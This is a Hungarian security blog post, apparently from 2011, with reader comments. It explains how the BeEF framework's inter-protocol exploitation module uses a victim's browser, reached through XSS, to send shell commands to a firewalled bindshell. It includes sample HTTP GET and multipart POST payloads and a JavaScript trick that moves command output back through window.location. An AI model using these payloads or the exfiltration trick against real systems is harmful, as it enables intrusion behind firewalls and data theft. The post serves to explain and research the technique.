A szeptemberi meetup kapcsán elkezdtem egyre többet foglalkozni a BeEF-fel, aminek az lett az eredménye, hogy felvettek a commiterek közé, és rögtön a nyakamba is akasztottak egy feladatot: az Inter-Process Expolitation/Communication modulok közül a "POSIX" változatot kellett működésre bírnom.
De mi is az az IPEC? A válasz részben ebben a régi leírásban, részben egy azóta már az Internet süllyesztőjébe veszett doksiban keresendő - de én inkább a forráskódot választottam :) A kiindulási pont az, hogy (mondjuk egy XSS hibán keresztül) képesek vagyunk JavaScriptet futtatni egy tűzfal mögött ülő áldozat böngészőjében. A tűzfal mögött van egy szigorúan nem-HTTP szolgáltatás, pl. IMAP vagy egy bindshell. Az IPEC lényege az, hogy a protokollmegvalósítások engedékenységét kihasználva (ebben az esetben) HTTP-be tudjuk csomagolni a különböző IMAP illetve shell parancsokat.
A dolog elsőre triviális:
GET /index.html?&ls; HTTP/1.1
Host: 192.168.1.100:4444
Egy egyszerű GET kérést küldve egy nyitott bindshellnek, a kérés &-ig tartó, illetve ; utáni részei értelmezhetetlen parancsként hibát dobnak, míg az ls parancs lefut. Az első probléma akkor jelentkezik, amikor URL-ben nem engedélyezett karaktereket szeretnénk küldeni - ezeket ugyanis az áldozat böngészője rögtön URL-kódolja, ami nem fog tetszeni a shellnek. Ezen az apróságon azonban viszonylag egyszerűen túllendülhetünk, ha az űrlap adatokat multipart POST kérésként küldetjük el, ilyenkor ugyanis az általunk kontrollált üzenet rész (nagyrészt) kódolatlanul kerül be a HTTP kérés törzsébe:
POST / HTTP/1.1
Host: 192.168.1.100:4444Content-Type: multipart/form-data; boundary=Xx1337xX
--Xx1337xX
Content-Disposition: form-data; name="submit-name"
;ls -la > /var/www/ls.html ;
--Xx1337xX
A komolyabb probléma, hogy hogyan kapom meg a visszaadott adatokat? A fenti példában ugyan megpróbálom kitolni egy DocumentRoot-ba az eredményt, de ez egyrészt nem biztos, hogy lehetséges, másrészt még mindig nem látok be a tűzfal mögé.
A megoldás itt kevésbé magától értetődő: Készítsünk egy IFRAME-et, benne egy FORM-mal, ami el fogja küldeni a parancsainkat! A parancsokat úgy kell megfogalmaznunk, hogy a bindshell egy szabályos HTTP választ adjon vissza (fejlécekkel, sortöréssel) , hiszen másként az áldozat böngészője jó eséllyel nem fogja feldolgozni az adatokat. Ezzel elérhetjük azt, hogy a parancs eredménye betöltődjön az IFRAME-be, mintha csak egy rendes webszerver válaszolt volna. Az IFRAME-en kívüli kód (ami vissza tudna szólni nekem) azonban nem tudja kiolvasni az IFRAME tartalmát, így ismét trükközni kell: generáltassunk a bindshellel a parancs eredménye után egy JavaScript kódot, ami a window.location paramétert úgy írja át, hogy az tartalmazza a parancs kimenetét:
<div id="ipc_content">
/bin
/boot
/dev <!--...stb...-->
</div>
<script>window.location=parent+'#ipc_result='+ \ encodeURI(document.getElementById('ipc_content').innerHTML);</script>
Mivel az IFRAME-et létrehozó szkript hozzáférhet az IFRAME által mutatott aktuális címhez, a parancs kimenete is hozzáférhetővé vált!
A történet persze tovább bonyolódik, ha kevésbé megengedő, vagy összetettebb szintaktikájú parancsfeldolgozóhoz szeretnénk hozzáférni, de az infromáció kicsatornázásának fenti módja szerintem mindenképpen figyelemre méltó, másrészt pedig nem biztos, hogy szükségünk van a kimenetekre, ha mondjuk csak egy tűzfalszabályt írunk át.
synapse · http://www.synsecblog.com 2011.10.03. 18:32:15
_bela- 2011.10.25. 16:12:12
'.
Mivel a HTML elemek csak GET vagy POST kerest engednek meg, marad valami XHR vagy flash alapu keres, amivel tetszoleges headert tudunk kuldeni. Viszont a cross domain policy miatt, meg nem fog lefutni a kivant keres...
_bela- 2011.10.25. 16:18:06
vim postfix-2.7.1/src/smtpd/smtpd.c +909
/* .IP "\fBsmtpd_forbidden_commands (CONNECT, GET, POST)\fR"
/* List of commands that causes the Postfix SMTP server to immediately
/* terminate the session with a 221 code.
buherator · http://buhera.blog.hu 2011.10.25. 17:07:54